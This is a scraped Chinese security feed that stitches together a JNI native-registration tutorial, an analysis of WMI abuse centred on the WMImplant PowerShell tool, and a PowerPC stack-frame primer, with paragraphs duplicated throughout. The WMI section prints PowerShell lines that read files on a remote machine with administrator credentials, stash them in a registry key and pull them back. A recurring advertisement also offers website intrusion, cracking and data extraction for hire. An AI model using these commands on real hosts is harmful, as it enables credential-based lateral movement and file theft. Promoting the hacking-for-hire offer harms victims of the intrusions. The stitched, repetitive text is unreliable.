JNI (Java Native Interface,JAVA 本地接口) 允许 Java 代码和其它编程语言编写的代码进行交互,主要为Java和Native层(C/C++)相互调用的接口规范,但是并不妨碍扩展其他语言。 JNI 在 Java1.1 中正式推出,在 Java1.2 中加入了JNI_OnLoad和JNI_OnUnload方法。
JNI 设计交互 Native层 C/C++ 代码的主要优点为:特定功能场景下,提升应用性能;代码层保护,增加反编译难度;Native库文件,可重复使用及不同项目间扩展移植。说完优点那么唯一的一个缺点就是C/C++代码编译生成的动态链接库不可跨平台使用。
正常情况下编写的Java代码是不能直接调用C/C++代码,需要通过JNI标准接口进行间接调用访问。Java代码要想使用JNI调用Native层C/C++代码就需要先向JVM注册Native函数,其注册主要分为静态注册和动态注册两大类,通过注册可实现 Java Native 方法与 C/C++ 方法的对应关系。静态和动态注册主要区别在于查找效率:静态注册,首次调用Java Native方法时,会按照JNI命名规则去寻找;而动态注册,由于存在一张映射表JNINativeMethod,因此查找效率高。最终,无论静态注册方法,还是动态注册方法,都需要将相应的C/C++文件编译成平台所需要的动态库。
利用 javah 生成编译native库所需的相应 .h 头文件,javah 会自动识别 class 文件里声明的 java native 本地方法并进行解析处理生成相应 .h 头文件 (也可以根据JNI静态注册规则手动编写头文件)
查看 javah 处理生成的 IntSum.h 头文件并进行分析,其中定义了一个JNI Native调用的 C/C++方法Java_org_qftm_learn_jni_demo1_IntSum_sums,可以看到方法结构与Java方法类似,同样包含方法名、参数、返回类型、修饰符
默认javah解析生成的JNI头文件中,C/C++ 函数都为JNI Native对应的静态注册函数,其通过 JNIEXPORT 和 JNICALL 两个宏定义声明。除了两个宏定义外,函数还存在返回类型和方法名及函数参数,其中静态注册函数名遵循特定JNI命名规范,即为Java_<PackageName>_<ClassName>_<MethodName>,这里需要注意下,如果Java代码声明的本地方法名称中本来就包含下划线,那么该部分将使用下划线加数字替换。另外会发现函数多了两个类型参数JNIEnv *和jobject,这两个参数由javah自动添加,并且其参数值由虚拟机自动传入。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
JNI 设计交互 Native层 C/C++ 代码的主要优点为:特定功能场景下,提升应用性能;代码层保护,增加反编译难度;Native库文件,可重复使用及不同项目间扩展移植。说完优点那么唯一的一个缺点就是C/C++代码编译生成的动态链接库不可跨平台使用。
正常情况下编写的Java代码是不能直接调用C/C++代码,需要通过JNI标准接口进行间接调用访问。Java代码要想使用JNI调用Native层C/C++代码就需要先向JVM注册Native函数,其注册主要分为静态注册和动态注册两大类,通过注册可实现 Java Native 方法与 C/C++ 方法的对应关系。静态和动态注册主要区别在于查找效率:静态注册,首次调用Java Native方法时,会按照JNI命名规则去寻找;而动态注册,由于存在一张映射表JNINativeMethod,因此查找效率高。最终,无论静态注册方法,还是动态注册方法,都需要将相应的C/C++文件编译成平台所需要的动态库。
package org.qftm.learn.jni.demo1;
/**
* Created by IntelliJ IDEA.
* User: Qftm
* Date: 2022/5/11
* Time: 17:36
*/
public class IntSum {
// 声明 native 本地函数
public native int sums(int num1, int num2);
// 静态代码块,加载动态链接库
static {
System.loadLibrary("IntSum");
}
public static void main(String[] args) {
// 实例化调用 native 本地函数
System.out.println((new IntSum()).sums(10, 5));
}
}利用 javah 生成编译native库所需的相应 .h 头文件,javah 会自动识别 class 文件里声明的 java native 本地方法并进行解析处理生成相应 .h 头文件 (也可以根据JNI静态注册规则手动编写头文件)
查看 javah 处理生成的 IntSum.h 头文件并进行分析,其中定义了一个JNI Native调用的 C/C++方法Java_org_qftm_learn_jni_demo1_IntSum_sums,可以看到方法结构与Java方法类似,同样包含方法名、参数、返回类型、修饰符
默认javah解析生成的JNI头文件中,C/C++ 函数都为JNI Native对应的静态注册函数,其通过 JNIEXPORT 和 JNICALL 两个宏定义声明。除了两个宏定义外,函数还存在返回类型和方法名及函数参数,其中静态注册函数名遵循特定JNI命名规范,即为Java_<PackageName>_<ClassName>_<MethodName>,这里需要注意下,如果Java代码声明的本地方法名称中本来就包含下划线,那么该部分将使用下划线加数字替换。另外会发现函数多了两个类型参数JNIEnv *和jobject,这两个参数由javah自动添加,并且其参数值由虚拟机自动传入。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
JNIEXPORT由hidden属性描述,则被JNIEXPORT修饰的C/C++函数 attribute((visibility("hidden"))) jdouble JNICALL Java_org_qftm_learn_jni_demo1_IntSum_sums(JNIEnv*, jobject, jint, jint); 将不会出现在导出表里面,那么JNI静态注册的Native函数被JNI静态调用规则调用时就无法在相应动态链接库的导出表内找到对应的C/C++函数,导致JNI静态规则调用失败;另外,如果Java Native函数对应的C/C++函数没有通过正常的JNIEXPORT修饰(即:去掉JNIEXPORT关键字),那么该C/C++函数同样不会出现在导出表里面,也就无法被JNI静态注册调用规则正常调用,但是可以利用JNI动态注册调用。
JNICALL 用来表示C/C++函数的调用规范(如:__stdcall、__cdecl、__fastcall),Linux下JNICALL右边是空的,说明只是个空定义,库文件代码可以直接使用右边的内容(空)替换调JNICALL(即:去掉JNICALL关键字)
点击导航栏的生成 => 生成解决方案,即可生成所需的 dll 动态链接库,将 Windows DLL 项目生成的 dll 拷贝到 Java JNI 项目下,并测试通过 Java JNI 调用静态 Native 函数
通过上面可以发现,java代码native函数和dll代码里面c/c++函数声明的差异
通过对比可以发现java native sums函数名在c++中变得很长,这跟JNI native函数注册方式有关,这里使用的是JNI Native静态函数注册,而JNI Native静态注册在编写动态链接库C++代码中必须按照JNI接口规范的命名规则注册,即java native函数对应的C/C++函数名为Java_<PackageName>_<ClassName>_<MethodName>。那么,当我们在Java中调用静态Native方法时,JVM 就会根据JNI命名规则来查找相应dll库的导出表,即调用Java静态Native方法所对应的 C/C++ 方法。
JNIENV 直译为 JNI 环境,和具体线程相关。函数默认的第一个参数JNIEnv *env由虚拟机自动传入,通过JNIEnv * 指针可以对 Java 层代码进行操作,如:获取Java类/父类Class对象、创建Java对象、调用Java对象的方法等。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
JNICALL 用来表示C/C++函数的调用规范(如:__stdcall、__cdecl、__fastcall),Linux下JNICALL右边是空的,说明只是个空定义,库文件代码可以直接使用右边的内容(空)替换调JNICALL(即:去掉JNICALL关键字)
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include "intsum.h"
// JNIEnv *env 为JVM环境指针, 用于和JVM交互、jobject obj 表示当前操作的对象
JNIEXPORT jdouble JNICALL Java_org_qftm_learn_jni_demo1_IntSum_sums(JNIEnv* env, jobject obj, jint num1, jint num2) {
return num1+num2;
}
点击导航栏的生成 => 生成解决方案,即可生成所需的 dll 动态链接库,将 Windows DLL 项目生成的 dll 拷贝到 Java JNI 项目下,并测试通过 Java JNI 调用静态 Native 函数
通过上面可以发现,java代码native函数和dll代码里面c/c++函数声明的差异
// java
public native double sums(int num1, int num2);
// c++
JNIEXPORT jdouble JNICALL Java_org_qftm_learn_jni_demo1_IntSum_sums(JNIEnv*, jobject, jint, jint);
通过对比可以发现java native sums函数名在c++中变得很长,这跟JNI native函数注册方式有关,这里使用的是JNI Native静态函数注册,而JNI Native静态注册在编写动态链接库C++代码中必须按照JNI接口规范的命名规则注册,即java native函数对应的C/C++函数名为Java_<PackageName>_<ClassName>_<MethodName>。那么,当我们在Java中调用静态Native方法时,JVM 就会根据JNI命名规则来查找相应dll库的导出表,即调用Java静态Native方法所对应的 C/C++ 方法。
JNIENV 直译为 JNI 环境,和具体线程相关。函数默认的第一个参数JNIEnv *env由虚拟机自动传入,通过JNIEnv * 指针可以对 Java 层代码进行操作,如:获取Java类/父类Class对象、创建Java对象、调用Java对象的方法等。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Windows Management Instrumentation(Windows 管理规范) 即WMI,是微软实现的基于Web的企业管理(WBEM)。WMI使用通用信息模型(CIM)来表示系统、应用程序、网络、设备和其他托管组件。WMI支持本地和远程访问。WMI底层基于分布式组件对象模型(DCOM)或者Windows远程管理(WinRM)。程序员们可以使用脚本语言(例如powershell),或者C++,通过COM技术与WMI进行交互。本文行文仓促,如有错误,请各位积极指正。
由于WMI的特殊性,WMI可以被广泛的滥用于MITER ATT&CK矩阵中,包括执行,持久化,防御逃避,侦查,横向移动,命令控制。
在[执行]战术中,ATT&CK专门安排了一个技术点专门介绍Windows行为规范T1047。WMI可以通过命令和脚本解释器powershell(T1059.001)进行交互,并且其通信是基于对象组件模型(T1559.001)。并且可以通过Win32_ScheduledJob类创建计划任务(T1053),但这已经不能在Win7以上系统中使用了。
在[持久化]战术中,可以通过WMI事件订阅(T1546.003)安装筛选器和事件消费者实现持久化。WMI具有远程连接的能力,即外部远程服务(T1133)。并且可以通过注册表在Run键下面创建启动项(T1547.001)
在[防御逃避]中,可以利用WMI通过修改注册表(T1112)的方式禁用或修改工具(T1562.001),也可以通过Win32_Process类间接创建进程,通过WMI创建的进行其父进程应该为WMI提供者进程(T1202)。
在[侦查]中,可以获取系统各方面的信息,可以利用Win32_UserAccount,Win32_LoggedOnUser获取账户信息(T1087)。使用Win32_Directory类获取文件信息(T1083)。使用Win32_Process类获取进程信息(T1057),使用Win32_OperatingSystem,Win32_SystemResourcesetc类进行系统信息侦查(T1082)等等
根据windows在WMI 架构知识文档中所述,WMI架构主要包括3个部分,WMI消费者,WMI基础架构,WMI提供者和托管对象。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
由于WMI的特殊性,WMI可以被广泛的滥用于MITER ATT&CK矩阵中,包括执行,持久化,防御逃避,侦查,横向移动,命令控制。
在[执行]战术中,ATT&CK专门安排了一个技术点专门介绍Windows行为规范T1047。WMI可以通过命令和脚本解释器powershell(T1059.001)进行交互,并且其通信是基于对象组件模型(T1559.001)。并且可以通过Win32_ScheduledJob类创建计划任务(T1053),但这已经不能在Win7以上系统中使用了。
在[持久化]战术中,可以通过WMI事件订阅(T1546.003)安装筛选器和事件消费者实现持久化。WMI具有远程连接的能力,即外部远程服务(T1133)。并且可以通过注册表在Run键下面创建启动项(T1547.001)
在[防御逃避]中,可以利用WMI通过修改注册表(T1112)的方式禁用或修改工具(T1562.001),也可以通过Win32_Process类间接创建进程,通过WMI创建的进行其父进程应该为WMI提供者进程(T1202)。
在[侦查]中,可以获取系统各方面的信息,可以利用Win32_UserAccount,Win32_LoggedOnUser获取账户信息(T1087)。使用Win32_Directory类获取文件信息(T1083)。使用Win32_Process类获取进程信息(T1057),使用Win32_OperatingSystem,Win32_SystemResourcesetc类进行系统信息侦查(T1082)等等
根据windows在WMI 架构知识文档中所述,WMI架构主要包括3个部分,WMI消费者,WMI基础架构,WMI提供者和托管对象。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
WMI攻击
Windows提供了多种和WMI进行交互的方式,例如通过powershell或者VBScript等脚本语言进行交互,比如利用c++通过COM API进行交互,利用C#,通过System.Management命名空间下的几个类和WMI进行交互,除此以外,还有几款成熟的工具用来和WMI进行交互,例如wmic.exe。
本文将以WMImplant为例,介绍WMI攻击的原理。WMImplant是一个基于PowerShell的工具,它利用WMI来对目标机器执行操作,而且还作为C2通道来发出命令和接收结果。WMImplant的主要功能有文件操作,横向移动,进程操作,系统操作,以及日志操作。
PowerShell有很多和WMI交互的函数,WMImplant使用的函数主要有如下几个函数。当然,WMImplant使用这些WMI函数,并没有使用CIM函数,因为函数命令是基于低版本的Powershell,而CIM函数只能用于V3以上的版本,但是CIM函数能支持DCOM协议和WinRM协议,而WMI函数只支持DCOM协议。
WMImplant用法很简单,只需要知道目标及其的ComputerName,以及管理员Credential。使用Import-Module .\WMImplant.ps1和Invoke-WMImplant两条命令启动WMImplant。
然后使用change_user命令设置domain/user和password。
WMImplant的文件操作主要有一下操作,其中,经常使用的有cat命令,download命令,ls命令,upload命令。
ls命令的主要作用是列举指定目录下的目录和文件,依次指定指定的ComputerName和目录。其基本原理是从Win32_Directory类中获取目录的信息。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
Windows提供了多种和WMI进行交互的方式,例如通过powershell或者VBScript等脚本语言进行交互,比如利用c++通过COM API进行交互,利用C#,通过System.Management命名空间下的几个类和WMI进行交互,除此以外,还有几款成熟的工具用来和WMI进行交互,例如wmic.exe。
本文将以WMImplant为例,介绍WMI攻击的原理。WMImplant是一个基于PowerShell的工具,它利用WMI来对目标机器执行操作,而且还作为C2通道来发出命令和接收结果。WMImplant的主要功能有文件操作,横向移动,进程操作,系统操作,以及日志操作。
PowerShell有很多和WMI交互的函数,WMImplant使用的函数主要有如下几个函数。当然,WMImplant使用这些WMI函数,并没有使用CIM函数,因为函数命令是基于低版本的Powershell,而CIM函数只能用于V3以上的版本,但是CIM函数能支持DCOM协议和WinRM协议,而WMI函数只支持DCOM协议。
Get-WmiObject
Set-WmiInstance
Invoke-WmiMethod
WMImplant用法很简单,只需要知道目标及其的ComputerName,以及管理员Credential。使用Import-Module .\WMImplant.ps1和Invoke-WMImplant两条命令启动WMImplant。
然后使用change_user命令设置domain/user和password。
WMImplant的文件操作主要有一下操作,其中,经常使用的有cat命令,download命令,ls命令,upload命令。
cat - Reads the contents of a file
copy - Copies a file from one location to another
download - Download a file from the targeted machine
ls - File/Directory listing of a specific directory
search - Search for a file on a user-specified drive
upload - Upload a file to the targeted machine
ls命令的主要作用是列举指定目录下的目录和文件,依次指定指定的ComputerName和目录。其基本原理是从Win32_Directory类中获取目录的信息。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
❤1
WMImplant也是通过远程创建进程将结果写入注册表的方式实现回显,具体操作如下,首先利用StdRegProv类的CreateKey方法创建一个注册表项。
然后构造一个远程命令,其主要目的是利用Get-Content函数读取文件内容,然后将其编码,之后利用Set-ItemProperty函数将其写入注册表中。
接着调用Invoke-WMIObfuscatedPSCommand函数执行上述远程命令。Invoke-WMIObfuscatedPSCommand函数主要是基于利用Win32_Proces类的Create方法创建进程从而执行远程命令。
最后便是利用StdRegProv类的GetStringValue读取键的值。
download命令和upload命令的原理是一样的,都是借助注册表保存文件的内容。然后利用Set-Content函数将保存在注册表的内容写入文件。只是download命令是在本地执行Set-Content函数。而upload命令是在远程机器执行Set-Content函数。
Invoke-WMIObfuscatedPSCommand函数简单的介绍过,其底层就是使用Win32_Process类的Create方法实现的。剩下就是构造一个远程命令,这个命令主要就是利用 Invoke-Command的-sc参数。-sc参数可以添加一个代码块。这样就可以执行Powershell代码块。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
$reg_create = Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -Class StdRegProv -Name CreateKey -ArgumentList $HKCU, $Item
然后构造一个远程命令,其主要目的是利用Get-Content函数读取文件内容,然后将其编码,之后利用Set-ItemProperty函数将其写入注册表中。
$remote_command = '$fct = Get-Content -Encoding byte -Path ''' + "$File" + '''; $fctenc = [Int[]][Char[]]$fct -Join '',''; Set-ItemProperty -Path HKCU:\SOFTWARE\EvilKey -Name Result -Value $fctenc;'
接着调用Invoke-WMIObfuscatedPSCommand函数执行上述远程命令。Invoke-WMIObfuscatedPSCommand函数主要是基于利用Win32_Proces类的Create方法创建进程从而执行远程命令。
最后便是利用StdRegProv类的GetStringValue读取键的值。
$regvalue = Invoke-WmiMethod -ComputerName $ComputerName -Credential $Credential -class StdRegProv -Name GetStringValue -ArgumentList $HKCU, $KeyPath, $ResultKey
download命令和upload命令的原理是一样的,都是借助注册表保存文件的内容。然后利用Set-Content函数将保存在注册表的内容写入文件。只是download命令是在本地执行Set-Content函数。而upload命令是在远程机器执行Set-Content函数。
//upload远程执行Set-Content函数
$remote_command = '$Hive = 2147483650; $key = ''' + "$regpath'" + '; $value = ''' + "$registryupname" + '''; $out = Invoke-WmiMethod -Namespace ''root\default'' -Class ''StdRegProv'' -Name ''GetStringValue'' -ArgumentList $Hive, $key, $value; $decode = [byte[]][int[]]$out.sValue.Split('','') -Join '' ''; [byte[]] $decoded = $decode -split '' ''; Set-Content -Encoding byte -Path ' + "$Upload_Dir" + ' -Value $decoded; Remove-ItemProperty -Path ' + "'$fullregistrypath'" + ' -Name ' + "'$registryupname'"
//download本地执行Set-Content函数
Set-Content -Encoding byte -Path $Download_file_path -Value $decoded
Invoke-WMIObfuscatedPSCommand函数简单的介绍过,其底层就是使用Win32_Process类的Create方法实现的。剩下就是构造一个远程命令,这个命令主要就是利用 Invoke-Command的-sc参数。-sc参数可以添加一个代码块。这样就可以执行Powershell代码块。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
PowerPC PWN从入门到实践
寄存器
PowerPC中的寄存器有非常多,ABI规定的寄存器包括专用寄存器、易失性寄存器和非易失性寄存器。
易失性寄存器代表任何函数都可以自由对这些寄存器进行修改,并且不用恢复这些寄存器之前的值;而非易失性寄存器则代表函数可以使用这些寄存器,但需要在函数返回前将这些寄存器的值恢复。
FPR寄存器
Floating-Point Register(FPR),浮点寄存器,用于浮点运算,从FPR0-FPR31共32个。每个FPR寄存器都支持双精度浮点格式,在64位和32位处理器实现上,FPRs都是64位的。
LR寄存器
Link Register(LR),链接寄存器,可以为条件转移链接寄存器指令提供转移目标地址,并在LK=1的转移指令之后保存返回地址。
LK即LINK bit,为0时不设置链接寄存器LR;为1时设置连接寄存器LR,转移指令后面的指令地址被放置在链接寄存器LR中
注意尽管两个最低有效位可以接受任何写入的值,但当LR被用作地址时,它们会被忽略。有些处理器可能会保存转移最近设置的LR值的堆栈。
CR寄存器
Condition Register(CR),条件寄存器,它反映某些操作的结果,并提供一种测试(和转移)的机制
条件寄存器中的位被分组为8个4位字段,命名为CR字段0(CR0),...,CR字段7(CR7)。CR字段可以通过一些指令进行设置,其中CR0可以是整数指令的隐式结果,CR1可以时浮点指令的隐式结果,指定的CR字段可以表示整数或浮点数比较指令的结果。
CR0字段含义如下
| Bits | 描述 |
| - | - |
| 0 | Negative(LT) - 结果为负时设置该位,即小于 |
| 1 | Positive(GT) - 结果为正数(非零)时设置该位,即大于 |
| 2 | Zero(EQ) - 结果为0时设置该位,即等于 |
| 3 | Summary overflow(SO) - 这是XER[SO]指令完成时的最终状态的副本 |
需要注意当溢出发生时,CR0可能不能反应真实的结果
CTR寄存器
Count Register(CTR),计数器,可以用来保存循环计数;还可以用来为转移条件计数寄存器指令提供转移目标地址。
XER寄存器
Fixed-Point Exception Register(XER),特殊寄存器,是一个64位寄存器,用来记录溢出和进位标志
Bits 描述
0:31 保留
32 Summary Overflow(SO):每当指令(除mtspr)设置溢出位时,SO位被设置为1。一旦设置,SO位会保持设置知道被一个mtspr指令(指定XER)或一个mcrxr指令清除。它不会被compare指令修改,也不会被其他不能溢出的指令(除对XER的mtspr、mcrxr)改变
33 Overflow(OV):执行指令时发生溢出设置。OV位不会被compare指令改变,也不会被其他不能溢出的指令(除对XER的mtspr、mcrxr)改变
34 Carry(CA):在执行某些指令时,进位设置如下,加进位,减进位,加扩展,减扩展类型的指令,如果有M位的进位则设位1,否则设为0。执行右移代数指令时如果有任何1位移出了一个负操作数,设置其为1,否则设为0。CA位不会被compare指令改变,也不会被其他不能进位的指令(除代数右移、对XER的mtspr、mcrxr)改变
35:56 保留
57:63 该字段指定“加载字符串索引”或“存储字符串索引”指令传输的字节数
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
寄存器
PowerPC中的寄存器有非常多,ABI规定的寄存器包括专用寄存器、易失性寄存器和非易失性寄存器。
易失性寄存器代表任何函数都可以自由对这些寄存器进行修改,并且不用恢复这些寄存器之前的值;而非易失性寄存器则代表函数可以使用这些寄存器,但需要在函数返回前将这些寄存器的值恢复。
FPR寄存器
Floating-Point Register(FPR),浮点寄存器,用于浮点运算,从FPR0-FPR31共32个。每个FPR寄存器都支持双精度浮点格式,在64位和32位处理器实现上,FPRs都是64位的。
LR寄存器
Link Register(LR),链接寄存器,可以为条件转移链接寄存器指令提供转移目标地址,并在LK=1的转移指令之后保存返回地址。
LK即LINK bit,为0时不设置链接寄存器LR;为1时设置连接寄存器LR,转移指令后面的指令地址被放置在链接寄存器LR中
注意尽管两个最低有效位可以接受任何写入的值,但当LR被用作地址时,它们会被忽略。有些处理器可能会保存转移最近设置的LR值的堆栈。
CR寄存器
Condition Register(CR),条件寄存器,它反映某些操作的结果,并提供一种测试(和转移)的机制
条件寄存器中的位被分组为8个4位字段,命名为CR字段0(CR0),...,CR字段7(CR7)。CR字段可以通过一些指令进行设置,其中CR0可以是整数指令的隐式结果,CR1可以时浮点指令的隐式结果,指定的CR字段可以表示整数或浮点数比较指令的结果。
CR0字段含义如下
| Bits | 描述 |
| - | - |
| 0 | Negative(LT) - 结果为负时设置该位,即小于 |
| 1 | Positive(GT) - 结果为正数(非零)时设置该位,即大于 |
| 2 | Zero(EQ) - 结果为0时设置该位,即等于 |
| 3 | Summary overflow(SO) - 这是XER[SO]指令完成时的最终状态的副本 |
需要注意当溢出发生时,CR0可能不能反应真实的结果
CTR寄存器
Count Register(CTR),计数器,可以用来保存循环计数;还可以用来为转移条件计数寄存器指令提供转移目标地址。
XER寄存器
Fixed-Point Exception Register(XER),特殊寄存器,是一个64位寄存器,用来记录溢出和进位标志
Bits 描述
0:31 保留
32 Summary Overflow(SO):每当指令(除mtspr)设置溢出位时,SO位被设置为1。一旦设置,SO位会保持设置知道被一个mtspr指令(指定XER)或一个mcrxr指令清除。它不会被compare指令修改,也不会被其他不能溢出的指令(除对XER的mtspr、mcrxr)改变
33 Overflow(OV):执行指令时发生溢出设置。OV位不会被compare指令改变,也不会被其他不能溢出的指令(除对XER的mtspr、mcrxr)改变
34 Carry(CA):在执行某些指令时,进位设置如下,加进位,减进位,加扩展,减扩展类型的指令,如果有M位的进位则设位1,否则设为0。执行右移代数指令时如果有任何1位移出了一个负操作数,设置其为1,否则设为0。CA位不会被compare指令改变,也不会被其他不能进位的指令(除代数右移、对XER的mtspr、mcrxr)改变
35:56 保留
57:63 该字段指定“加载字符串索引”或“存储字符串索引”指令传输的字节数
GPR寄存器
General Purpose Rgister(GPR),通用寄存器,从GPR0到GPR31共32个。
事实上在gdb中所见就是r0~r31,其中:
| 寄存器 | 用途 |
| - | - |
| r0 | 发生系统调用时对应的系统调用号 |
| r1 | 堆栈指针 |
| r2 | 内容表(toc)指针,IDA把这个寄存器反汇编标识为rtoc。系统调用时,它包含系统调用号 |
| r3 | 函数调用时的第一个参数和返回值 |
| r4-r10 | 函数调用时参数传递 |
| r11 | 用在指针的调用和当作一些语言的环境指针 |
| r12 | 它用在异常处理和glink(动态连接器)代码 |
| r13 | 保留作为系统线程ID |
| r14-r31 | 作为本地变量,非易失性 |
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
r1就类似栈顶指针,第一条指令中,stwu最后的u表示update,指令中有效地址EA=r1+back_chain,该指令首先会将r1的值存放到EA中,接着会把有效地址EA存到r1里。back_chain对应新栈帧大小,是一个负值,此处为0x60,所以这里实际上就是开辟了一块新的栈帧,让r1指向新栈顶,同时在新栈顶处存储了上一个栈帧的栈顶,从而构成一个类似链表的东西,在之后帮助恢复栈帧。
mflr r0,把lr寄存器的值保存到r0中。接着stw将r0保存到栈上,从而在栈上保存了lr返回地址的值。指令中对栈变量的索引使用的是0x60+sender_lr(r1),r1已经指向新栈帧的栈顶,所以这里是通过栈顶指针索引栈上的局部变量,栈帧空间大小即0x60。
下一条stw指令将r31存储到栈上,然后执行mr把r1的值赋给r31。
由于test函数传入了一个参数n,是通过r3传递的。所以在之后看到首先把r3存到了栈上,接着不断连续调用lwz和stw指令,以r9为中间量,并通过r31索引,对栈上局部变量进行赋值。
接下来就是为函数调用布置参数了,这里由于我们使用的参数很多,会同时使用寄存器和栈变量进行传参。ppc中没有push、pop这样的指令,栈帧空间是提前设置好的,这里指令做的就是把参数从右往左把多出来的4个参数依次在栈上从高地址往低地址放置,第9个参数与栈顶位置中间还会留下一个字长的空间,用来存放下一个栈帧的返回地址;剩下的8个参数按照从右往左依次放入r3~r10中,指定执行时是从r10开始存放的。crclr是用来调整条件寄存器CR的。
lwz将栈上的值赋给r9,再用mr把r9赋给r3,其实就是在传递函数的返回值n
addi把上一个栈帧的栈顶地址存到r11里,然后索引到存放lr返回地址的位置把值放进r0,再通过mtlr r0把r0的值赋给lr寄存器,从而完成了返回地址的恢复。
接着lwz r31, -4(r11)即以上一个栈帧栈顶位置减4为有效地址取值存入r31,这一步是在恢复r31寄存器,对应开头进入函数时stw r31, 0x60+var_4(r1)在栈上保存的r31的值,因为它是非易失性寄存器需要恢复。
再把r11的值给r1,从而r1恢复指向原栈帧的栈顶,完成了函数的退栈操作。到这里也可以看出在ppc中是通过栈顶指针完成栈帧的开辟和弹出的,栈顶指针以链表形式链接,同时对局部变量的操作也是以栈顶为基址进行偏移索引的。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
mflr r0,把lr寄存器的值保存到r0中。接着stw将r0保存到栈上,从而在栈上保存了lr返回地址的值。指令中对栈变量的索引使用的是0x60+sender_lr(r1),r1已经指向新栈帧的栈顶,所以这里是通过栈顶指针索引栈上的局部变量,栈帧空间大小即0x60。
下一条stw指令将r31存储到栈上,然后执行mr把r1的值赋给r31。
由于test函数传入了一个参数n,是通过r3传递的。所以在之后看到首先把r3存到了栈上,接着不断连续调用lwz和stw指令,以r9为中间量,并通过r31索引,对栈上局部变量进行赋值。
接下来就是为函数调用布置参数了,这里由于我们使用的参数很多,会同时使用寄存器和栈变量进行传参。ppc中没有push、pop这样的指令,栈帧空间是提前设置好的,这里指令做的就是把参数从右往左把多出来的4个参数依次在栈上从高地址往低地址放置,第9个参数与栈顶位置中间还会留下一个字长的空间,用来存放下一个栈帧的返回地址;剩下的8个参数按照从右往左依次放入r3~r10中,指定执行时是从r10开始存放的。crclr是用来调整条件寄存器CR的。
lwz将栈上的值赋给r9,再用mr把r9赋给r3,其实就是在传递函数的返回值n
addi把上一个栈帧的栈顶地址存到r11里,然后索引到存放lr返回地址的位置把值放进r0,再通过mtlr r0把r0的值赋给lr寄存器,从而完成了返回地址的恢复。
接着lwz r31, -4(r11)即以上一个栈帧栈顶位置减4为有效地址取值存入r31,这一步是在恢复r31寄存器,对应开头进入函数时stw r31, 0x60+var_4(r1)在栈上保存的r31的值,因为它是非易失性寄存器需要恢复。
再把r11的值给r1,从而r1恢复指向原栈帧的栈顶,完成了函数的退栈操作。到这里也可以看出在ppc中是通过栈顶指针完成栈帧的开辟和弹出的,栈顶指针以链表形式链接,同时对局部变量的操作也是以栈顶为基址进行偏移索引的。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke